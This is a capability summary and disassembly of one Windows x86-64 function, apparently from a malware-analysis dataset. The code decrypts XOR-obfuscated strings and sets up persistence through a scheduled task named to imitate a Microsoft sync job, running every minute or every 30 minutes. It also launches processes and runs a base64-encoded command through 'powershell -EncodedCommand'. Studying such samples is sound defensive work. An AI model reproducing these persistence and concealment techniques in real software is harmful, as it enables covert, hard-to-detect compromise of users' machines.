Function at 0x140001ee0
Capabilities:
Create process on windows
Encode data using base64
Resolve function by parsing pe exports
Schedule task via schtasks

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x918
movaps xmmword [rsp + 0x900], xmm6
mov ebx, r8d
mov r8, rdx
mov rdx, rcx
lea rsi, [rsp + 0x138]
mov rcx, rsi
call fcn.14001cdef
test bl, bl
je 0x14000220e
lea rdi, [rsp + 0x2f0]
and qword [rdi], 0
mov rax, qword [0x140024068]
mov rcx, rdi
call rax
mov rcx, qword [rdi]
movabs rax, 0x19db1ded53e7fff
cmp rcx, rax
jle case.0x140002920.0
movabs rax, 0xfe624e212ac18000
add rcx, rax
mov r8d, 0x989680
mov rax, rcx
xor edx, edx
div r8
mov rdi, rdx
mov r8d, 0x15180
xor edx, edx
div r8
mov rbx, rdx
movabs r8, 0xc92a69c000
mov rax, rcx
xor edx, edx
div r8
lea ecx, [rax + 0xafaa8]
mov edx, 0x23ab1
call fcn.140007bce
mov ebp, eax
mov ecx, edx
call fcn.140007be4
cmp eax, 0x190
jae case.0x140002920.0
mov ecx, eax
lea r8, [0x140025e91]
mov r8b, byte [rcx + r8]
imul ecx, ebp, 0x190
add ecx, eax
call fcn.140007c31
cmp eax, 1
jne case.0x140002920.0
imul ecx, edi, 0x64
lea rax, [rsp + 0x2f0]
mov dword [rax], ebx
mov dword [rax + 4], ecx
mov dword [rax + 8], edx
lea rcx, [rsp + 0x2b0]
mov rdx, rax
call fcn.140007c68
movabs r8, 0xffdf3b645a1cac08
mov ecx, 0x708
xor edx, edx
mov r9d, 0xb71b000
call fcn.140001b3c
cmp al, 0xff
je case.0x140002920.0
movabs r8, 0x20c49ba5e353f7
mov ecx, 0x708
xor edx, edx
mov r9d, 0x3019d7c0
call fcn.140001b3c
cmp al, 1
je case.0x140002920.0
mov eax, dword [rsp + 0x2b8]
lea rdx, [rsp + 0x150]
mov dword [rdx + 8], eax
mov rax, qword [rsp + 0x2b0]
mov qword [rdx], rax
lea rdi, [rsp + 0x2f0]
mov r8d, 0x708
mov rcx, rdi
call fcn.140007ebd
cmp dword [rdi], 0
je case.0x140002920.0
lea rbx, [rsp + 0x2f4]
mov eax, dword [rbx + 8]
lea rdi, [rsp + 0x790]
mov dword [rdi + 8], eax
mov rax, qword [rbx]
mov qword [rdi], rax
mov rcx, rbx
mov rdx, rdi
call fcn.140007c68
movups xmm0, xmmword [rbx]
lea r14, [rsp + 0x8c0]
movaps xmmword [r14], xmm0
lea rbx, [rsp + 0x2f0]
mov rcx, rbx
mov rdx, r14
call fcn.140001b62
mov eax, dword [rbx]
mov ecx, 0xe10
xor edx, edx
div ecx
lea r15, [rsp + 0x88]
mov dword [r15], eax
lea rbx, [rsp + 0x2f0]
mov rcx, rbx
mov rdx, r14
call fcn.140001b62
mov eax, dword [rbx]
mov ecx, 0x3c
xor edx, edx
div ecx
xor edx, edx
div ecx
lea rax, [rsp + 0x120]
mov dword [rax], edx
mov qword [rdi], r15
lea rcx, [0x1400094e9]
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rcx
mov eax, 2
mov qword [rbx], rax
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], rax
and qword [rbx + 0x20], 0
movabs rcx, 0x800000020
mov qword [rbx + 0x28], rcx
mov dl, 3
mov byte [rbx + 0x30], dl
mov qword [rbx + 0x38], rax
and qword [rbx + 0x48], 0
mov qword [rbx + 0x50], rax
mov qword [rbx + 0x58], 1
mov qword [rbx + 0x60], rcx
mov byte [rbx + 0x68], dl
lea rcx, [0x1400257c0]
lea r14, [rsp + 0x150]
mov qword [r14], rcx
mov qword [r14 + 8], rax
mov qword [r14 + 0x20], rbx
mov qword [r14 + 0x28], rax
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rax
lea r15, [rsp + 0x6f0]
mov rcx, r15
mov rdx, r14
call fcn.140001ae0
lea rax, [0x140024018]
mov qword [rdi], rax
mov qword [rbx], rsi
lea rax, [0x14001378d]
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rdi
lea rax, [0x14001d60f]
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], r15
lea rax, str.schtasks.exe__Create__SC_MINUTE__MO_30__TN__Microsoft_Sync___TR______ST___F
mov qword [r14], rax
mov qword [r14 + 8], 4
and qword [r14 + 0x20], 0
lea rax, [0x140001b20]
mov qword [rbx + 0x28], rax
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 3
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x150]
call fcn.140001ae0
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.14000772c
jmp 0x14000227a
lea rax, [0x140024018]
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
lea rax, [rsp + 0x150]
mov qword [rax], rsi
lea rdx, [0x14001378d]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rcx
lea rcx, str.schtasks.exe__Create__SC_MINUTE__MO_1__TN__Microsoft_Sync___TR________F
lea rdx, [rsp + 0x2f0]
mov qword [rdx], rcx
mov qword [rdx + 8], 3
and qword [rdx + 0x20], 0
lea rcx, [0x14001d60f]
mov qword [rax + 0x18], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 2
lea rcx, [rsp + 0x70]
call fcn.140001ae0
xorps xmm6, xmm6
lea rsi, [rsp + 0x2f0]
movaps xmmword [rsi + 0x50], xmm6
movaps xmmword [rsi + 0x40], xmm6
movaps xmmword [rsi + 0x30], xmm6
movaps xmmword [rsi + 0x20], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
and qword [rsi + 0x60], 0
lea r15, [rsp + 0x6f0]
movaps xmmword [r15], xmm6
and qword [r15 + 0x10], 0
mov dword [rsi], 0x68
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
add rax, rdi
lea rdx, [rsp + 0x150]
mov qword [rdx], rdi
mov qword [rdx + 8], rax
and word [rdx + 0x10], 0
mov dword [rdx + 0x18], 1
lea r14, [rsp + 0x790]
mov rcx, r14
call fcn.1400019bb
mov rcx, rdi
mov rdx, rbx
call fcn.14000772c
mov rdi, qword [r14]
mov dword [rsi + 0x3c], 0x80000
and word [rsi + 0x40], 0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rsi
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000400
and dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x14000235c
mov rcx, qword [rsp + 0x6f0]
call fcn.1400211e0
mov rcx, qword [rsp + 0x6f8]
call fcn.1400211e0
mov rdx, qword [rsp + 0x798]
mov rcx, rdi
call fcn.1400159bd
cmp qword [0x14002e030], 0
je 0x1400033d8
call fcn.14001133a
mov rdi, rax
xorps xmm0, xmm0
lea rbx, [rsp + 0x2f0]
movups xmmword [rbx + 8], xmm0
mov qword [rbx], 1
mov esi, 0xa
mov edx, 0xa
mov rcx, rbx
call fcn.1400073f8
mov r14, rdi
add r14, 0x10
lea r15, [rsp + 0x152]
lea r13, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789a_tuple_of_size_2
lea r12, [rsp + 0x150]
mov rax, qword [rdi + 0x110]
cmp rax, 0x40
jb 0x1400023f0
mov rcx, r14
xor edx, edx
call fcn.14000c8f4
mov rax, qword [rdi + 0x110]
cmp rax, 0x40
jae case.0x140002920.0
mov ecx, dword [rdi + rax*4 + 0x10]
mov rdx, rcx
shr rdx, 0x1b
inc rax
mov qword [rdi + 0x110], rax
cmp edx, 0x1e
ja 0x1400023cf
shr rcx, 0x1a
mov dl, byte [rcx + r13]
dec rsi
test dl, dl
js 0x140002423
mov rcx, rbx
call fcn.14000c8bf
jmp 0x140002454
and dword [rsp + 0x150], 0
mov eax, edx
shr al, 6
or al, 0xc0
mov byte [rsp + 0x150], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x151], dl
mov rcx, rbx
mov rdx, r12
mov r8, r15
call fcn.1400073b5
test rsi, rsi
jne 0x1400023c8
mov rcx, rdi
call fcn.140010763
mov rax, qword [rsp + 0x300]
lea rcx, [rsp + 0x100]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [rcx], xmm0
lea rdx, str..exeprogram_not_found
lea r8, [0x14002927c]
call fcn.1400073b5
lea rax, [rsp + 0x790]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov r8d, 0x200
mov r15d, 2
xor r14d, r14d
mov esi, 0xffffffff
xor edi, edi
cmp r8, 0x201
jae 0x1400024de
lea r12, [rsp + 0x2f0]
mov ebx, 0x200
mov r13, r8
jmp 0x14000251e
sub r8, rdi
lea rcx, [rsp + 0x790]
mov rdx, r8
call fcn.140014acb
mov r15, qword [rsp + 0x790]
mov r14, qword [rsp + 0x798]
cmp r14, rsi
mov edi, 0xffffffff
cmovb rdi, r14
mov qword [rsp + 0x7a0], rdi
mov r12, r15
mov rbx, rdi
mov r13, rdi
xor ecx, ecx
call sub.kernel32.dll_SetLastError
mov rax, qword [0x140024070]
mov ecx, r13d
mov rdx, r12
call rax
mov ebp, eax
test eax, eax
jne 0x140002547
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x140003484
mov r8d, ebp
cmp r13, r8
jne 0x14000256f
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne case.0x140002920.0
add r13, r13
cmp r13, rsi
cmovae r13, rsi
mov r8, r13
jmp 0x1400024c3
jb 0x1400024c3
cmp rbx, r8
jb case.0x140002920.0
lea rsi, [rsp + 0x150]
mov rcx, rsi
mov rdx, r12
call fcn.1400159ed
mov bl, byte [rsi + 0x18]
mov rcx, r15
mov rdx, r14
call fcn.1400159bd
cmp bl, 2
je case.0x140002920.0
mov r14, qword [rsp + 0x150]
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x60], rax
mov r12, qword [rsp + 0x160]
mov r13, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x58], rax
mov rsi, qword [rsp + 0x110]
mov rcx, r12
call fcn.14000773c
mov r15, rax
mov rbp, rdx
mov rcx, rax
mov rdx, r14
mov r8, r12
call sub.msvcrt.dll_memcpy
lea rbx, [rsp + 0x2f0]
mov qword [rbx], r15
mov qword [rbx + 8], rbp
mov qword [rbx + 0x10], r12
mov byte [rbx + 0x18], 0
mov rcx, rbx
mov rdx, r13
mov r8, rsi
call fcn.14001ac98
mov rdi, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rsp + 0x68], rax
mov rsi, qword [rbx + 0x10]
mov rcx, r13
mov rdx, qword [rsp + 0x58]
call fcn.14000772c
mov rcx, r14
mov rdx, qword [rsp + 0x60]
call fcn.14000772c
lea r14, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x60], rdi
mov rdx, rdi
mov r8, rsi
call fcn.14001cdef
mov rax, qword [0x140024018]
mov rcx, qword [0x140024028]
mov r8, qword [r14]
mov rdx, qword [r14 + 0x10]
test r8, r8
jne 0x14000268a
mov r8, qword [rsp + 0x90]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], r8
mov qword [rsp + 0xb8], rdx
lea rax, [0x14001f6c1]
lea rsi, [rsp + 0x2f0]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xba2ae2cf3d137551
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140001cac
mov rbx, rax
xor edi, edi
mov r8d, 0x12c
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x140025278]
cmp rdi, 0x128
jae 0x14000270f
mov rcx, qword [rdi + rax]
xor rcx, qword [rbx + rdi]
mov qword [rsp + rdi + 0x2f0], rcx
add rdi, 8
jmp 0x1400026f0
mov ecx, 0x128
cmp rcx, 0x12b
ja 0x140002743
movzx edx, byte [rcx + rax + 2]
shl edx, 0x10
movzx r8d, word [rcx + rax]
add edx, r8d
add edx, 0xe9000000
xor edx, dword [rbx + rcx]
mov dword [rsp + rcx + 0x2f0], edx
add rcx, 4
jmp 0x140002714
movzx eax, byte [rbx + 0x12e]
movzx ecx, word [rbx + 0x12c]
xor ecx, 0xc60a
lea rbx, [rsp + 0x2f0]
mov word [rbx + 0x12c], cx
xor al, 0x79
mov byte [rbx + 0x12e], al
mov r8d, 0x12f
lea rsi, [rsp + 0x790]
mov rcx, rsi
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], 0x12f
lea rax, [0x140016b08]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x1caeadee0ef5be47
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140001c07
xorps xmm0, xmm0
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx], xmm0
xor ecx, ecx
lea rdx, [0x1400253a7]
cmp rcx, 0x2f
ja 0x1400027f0
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2f0], r8
add rcx, 8
jmp 0x1400027d4
movzx eax, word [rax + 0x30]
xor eax, 0xca16
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmm1, xmmword [rsp + 0x300]
movaps xmm2, xmmword [rsp + 0x310]
lea rcx, [rsp + 0x8c0]
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx + 0x20], xmm2
mov word [rcx + 0x30], ax
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], 0x32
mov rax, qword [0x14002e070]
test rax, rax
jne 0x140002912
mov ecx, 1
xor eax, eax
lock cmpxchg qword [0x14002e070], rcx
jne 0x140002912
lea rax, [0x140020932]
mov qword [rsp + 0x2f0], rax
mov rcx, qword [rsp + 0x2f0]
movabs rax, 0xa88e1bfdb5e904b4
mov qword [rsp + 0x2f0], rax
mov rdx, qword [rsp + 0x2f0]
call fcn.14000e68f
and dword [rsp + 0x2f3], 0
and dword [rsp + 0x2f0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140027704]
test r8b, 1
je 0x140003409
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2f0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x1400028b4
lea rcx, [0x140003500]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pause
mov rax, qword [0x14002e070]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, qword [0x14002e078]
mov r14, qword [0x14002e088]
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], r14
lea rax, [0x140018c20]
lea rsi, [rsp + 0x2f0]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xf27408f1baa0e4c2
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140001c20
mov rdi, rax
xor ebx, ebx
mov r8d, 0x98
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x1400253d9]
cmp rbx, 0x97
ja 0x1400029b7
mov rcx, qword [rbx + rax]
xor rcx, qword [rdi + rbx]
mov qword [rsp + rbx + 0x2f0], rcx
add rbx, 8
jmp 0x140002998
movzx eax, word [rdi + 0x98]
xor eax, 0x4f1
lea rsi, [rsp + 0x2f0]
mov word [rsi + 0x98], ax
mov r8d, 0x9a
lea rdi, [rsp + 0x6f0]
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 0x9a
lea rax, [0x140019f39]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xb0e146ed37bc6f82
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140001c7b
mov rdi, rax
xor esi, esi
lea rcx, [rsp + 0x2f0]
mov r8d, 0x150
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x140025473]
cmp rsi, 0x14f
ja 0x140002a61
mov rcx, qword [rsi + rax]
xor rcx, qword [rdi + rsi]
mov qword [rsp + rsi + 0x2f0], rcx
add rsi, 8
jmp 0x140002a42
mov al, byte [rdi + 0x150]
xor al, 0xa6
lea rdi, [rsp + 0x2f0]
mov byte [rdi + 0x150], al
mov r8d, 0x151
lea r14, [rsp + 0x150]
mov rcx, r14
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x2e0]
mov qword [rcx], r14
mov qword [rcx + 8], 0x151
lea rax, [rsp + 0xc0]
mov qword [rdi], rax
lea rax, [0x14000aab7]
mov qword [rdi + 8], rax
lea rdx, [0x14002e030]
mov qword [rdi + 0x10], rdx
lea rdx, [0x140001b20]
mov qword [rdi + 0x18], rdx
lea rdx, [0x14002e048]
mov qword [rdi + 0x20], rdx
lea rdx, [0x14000aaaa]
mov qword [rdi + 0x28], rdx
lea rdx, [rsp + 0xd0]
mov qword [rdi + 0x30], rdx
mov qword [rdi + 0x38], rax
lea rdx, [rsp + 0xe0]
mov qword [rdi + 0x40], rdx
mov qword [rdi + 0x48], rax
lea rdx, [rsp + 0xf0]
mov qword [rdi + 0x50], rdx
mov qword [rdi + 0x58], rax
lea rdx, [rsp + 0xb0]
mov qword [rdi + 0x60], rdx
mov qword [rdi + 0x68], rax
mov qword [rdi + 0x70], rcx
mov qword [rdi + 0x78], rax
lea rcx, [0x1400251d8]
lea rdx, [rsp + 0x2b0]
mov qword [rdx], rcx
lea rcx, [rsp + 0xa0]
mov qword [rdx + 8], 0xa
and qword [rdx + 0x20], 0
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], 9
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.140001ae0
mov rdi, qword [rsi]
mov rbx, qword [rsi + 0x10]
mov qword [rsp + 0x150], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x158], xmm0
lea rax, [0x1400273d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
mov r8, rdi
mov r9, rbx
call fcn.14000c7be
cmp qword [rsi + 8], 0
jne 0x140003498
mov r15, qword [rsp + 0x150]
mov r8, qword [rsp + 0x158]
mov rdi, qword [rsp + 0x160]
mov ecx, 3
mov rax, rdi
xor edx, edx
div rcx
mov r14, rdx
mov r13, rax
shl r13, 2
test rdx, rdx
mov qword [rsp + 0x58], r8
je 0x140002c27
mov rcx, rdi
shr rcx, 0x3e
add r13, 4
setb al
cmp ecx, 2
ja case.0x140002920.0
test al, al
je 0x140002c37
jmp case.0x140002920.0
mov rax, rdi
shr rax, 0x3e
cmp eax, 3
jae case.0x140002920.0
mov rcx, r13
mov dl, 1
call fcn.1400076cf
mov rbx, rax
mov rbp, rdx
xor eax, eax
mov rdx, rdi
mov ecx, 0
sub rdx, 0x1a
cmovb rdx, rax
jbe 0x140002f44
mov eax, 0x20
xor ecx, ecx
lea r8, [0x1400255c4]
lea r9, [rcx + 0x1a]
cmp r9, rdi
ja case.0x140002920.0
test rax, rax
je case.0x140002920.0
cmp rax, r13
ja case.0x140002920.0
mov r9, qword [r15 + rcx]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x20], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1f], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1e], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1d], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1c], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1b], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x1a], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 0x19], r9b
mov r9, qword [r15 + rcx + 6]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x18], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x17], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x16], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x15], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x14], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x13], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x12], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 0x11], r9b
mov r9, qword [r15 + rcx + 0xc]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0x10], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xf], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xe], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xd], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xc], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xb], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 0xa], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 9], r9b
mov r9, qword [r15 + rcx + 0x12]
bswap r9
mov r10, r9
shr r10, 0x3a
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 8], r10b
mov r10, r9
shr r10, 0x34
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 7], r10b
mov r10, r9
shr r10, 0x2e
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 6], r10b
mov r10, r9
shr r10, 0x28
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 5], r10b
mov r10, r9
shr r10, 0x22
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 4], r10b
mov r10, r9
shr r10, 0x1c
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 3], r10b
mov r10d, r9d
shr r10d, 0x16
and r10d, 0x3f
mov r10b, byte [r10 + r8 + 3]
mov byte [rbx + rax - 2], r10b
shr r9d, 0x10
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rbx + rax - 1], r9b
add rcx, 0x18
add rax, 0x20
cmp rcx, rdx
jbe 0x140002c6d
add rax, 0xffffffffffffffe0
mov r8, rdi
sub r8, r14
lea rdx, [0x1400255c4]
cmp rcx, r8
jae 0x140002ffe
cmp rcx, 0xfffffffffffffffc
ja case.0x140002920.0
lea r9, [rcx + 3]
cmp r9, rdi
ja case.0x140002920.0
cmp rax, 0xfffffffffffffffb
ja case.0x140002920.0
lea r10, [rax + 4]
cmp r10, r13
ja case.0x140002920.0
movzx r11d, byte [r15 + rcx]
mov rsi, r11
shr rsi, 2
mov sil, byte [rsi + rdx + 3]
mov byte [rbx + rax], sil
mov r12b, byte [r15 + rcx + 1]
shl r11b, 4
mov esi, r12d
shr sil, 4
or sil, r11b
movzx r11d, sil
and r11d, 0x3f
mov r11b, byte [r11 + rdx + 3]
mov byte [rbx + rax + 1], r11b
movzx ecx, byte [r15 + rcx + 2]
shl r12b, 2
mov r11d, ecx
shr r11b, 6
or r11b, r12b
movzx r11d, r11b
and r11d, 0x3f
mov r11b, byte [r11 + rdx + 3]
mov byte [rbx + rax + 2], r11b
and ecx, 0x3f
mov cl, byte [rcx + rdx + 3]
mov byte [rbx + rax + 3], cl
mov rax, r10
mov rcx, r9
jmp 0x140002f51
cmp r14, 1
je 0x140003082
cmp r14, 2
jne 0x1400030c7
cmp rax, r13
jae case.0x140002920.0
movzx r9d, byte [r15 + r8]
mov rcx, r9
shr rcx, 2
mov cl, byte [rcx + rdx + 3]
mov byte [rbx + rax], cl
inc r8
cmp r8, rdi
jae case.0x140002920.0
lea rcx, [rax + 1]
cmp rcx, r13
jae case.0x140002920.0
mov cl, byte [r15 + r8]
mov r8d, ecx
shr r8b, 4
shl r9b, 4
or r9b, r8b
movzx r8d, r9b
and r8d, 0x3f
mov r8b, byte [r8 + rdx + 3]
mov byte [rbx + rax + 1], r8b
lea r8, [rax + 2]
cmp r8, r13
jae case.0x140002920.0
shl cl, 2
and cl, 0x3c
mov r9d, 3
jmp 0x1400030b9
cmp rax, r13
jae case.0x140002920.0
movzx ecx, byte [r15 + r8]
mov r8, rcx
shr r8, 2
mov r8b, byte [r8 + rdx + 3]
mov byte [rbx + rax], r8b
lea r8, [rax + 1]
cmp r8, r13
jae case.0x140002920.0
shl cl, 4
and cl, 0x30
mov r9d, 2
movzx ecx, cl
mov cl, byte [rcx + rdx + 3]
mov byte [rbx + r8], cl
add rax, r9
mov rcx, r13
sub rcx, rax
jb case.0x140002920.0
mov rdx, rbx
add rdx, rax
mov r8d, eax
neg r8d
and r8d, 3
xor r9d, r9d
cmp r8, r9
je 0x1400030fe
cmp rcx, r9
je case.0x140002920.0
mov byte [rdx + r9], 0x3d
inc r9
jmp 0x1400030e6
add rax, r8
jb case.0x140002920.0
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
mov rdx, rbx
mov r8, r13
call fcn.140009e6f
cmp qword [rsi], 0
je 0x140003131
cmp byte [rsp + 0x300], 2
jne case.0x140002920.0
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], rbp
mov qword [rsp + 0x160], r13
lea rax, str.powershell__EncodedCommand
lea rdi, [rsp + 0x2f0]
mov qword [rdi], rax
mov eax, 1
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x6f0], rcx
lea rcx, [0x140001b20]
mov qword [rsp + 0x6f8], rcx
lea rcx, [rsp + 0x6f0]
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rax
lea rcx, [rsp + 0x790]
mov rdx, rdi
call fcn.140001ae0
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.14000772c
mov rcx, r15
mov rdx, qword [rsp + 0x58]
call fcn.14000772c
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call fcn.14000772c
lea rax, [0x14001fa10]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x32ed04517a706a20
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140001bcf
xorps xmm0, xmm0
movups xmmword [rdi + 0x1c], xmm0
movaps xmmword [rdi + 0x10], xmm0
movaps xmmword [rdi], xmm0
xor edx, edx
lea rcx, [0x14002587d]
cmp rdx, 0x28
jae 0x140003234
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x2f0], r8
add rdx, 8
jmp 0x140003218
mov edx, 0x28
cmp rdx, 0x2b
ja 0x14000326a
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xce000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x2f0], r8d
add rdx, 4
jmp 0x140003239
mov al, byte [rax + 0x2c]
xor al, 0xcf
mov byte [rsp + 0x31c], al
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmm1, xmmword [rsp + 0x300]
lea rcx, [rsp + 0x150]
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x10], xmm1
mov rax, qword [rsp + 0x30d]
mov qword [rcx + 0x1d], rax
mov eax, dword [rsp + 0x315]
mov dword [rcx + 0x25], eax
movzx eax, word [rsp + 0x319]
mov word [rcx + 0x29], ax
mov al, byte [rsp + 0x31b]
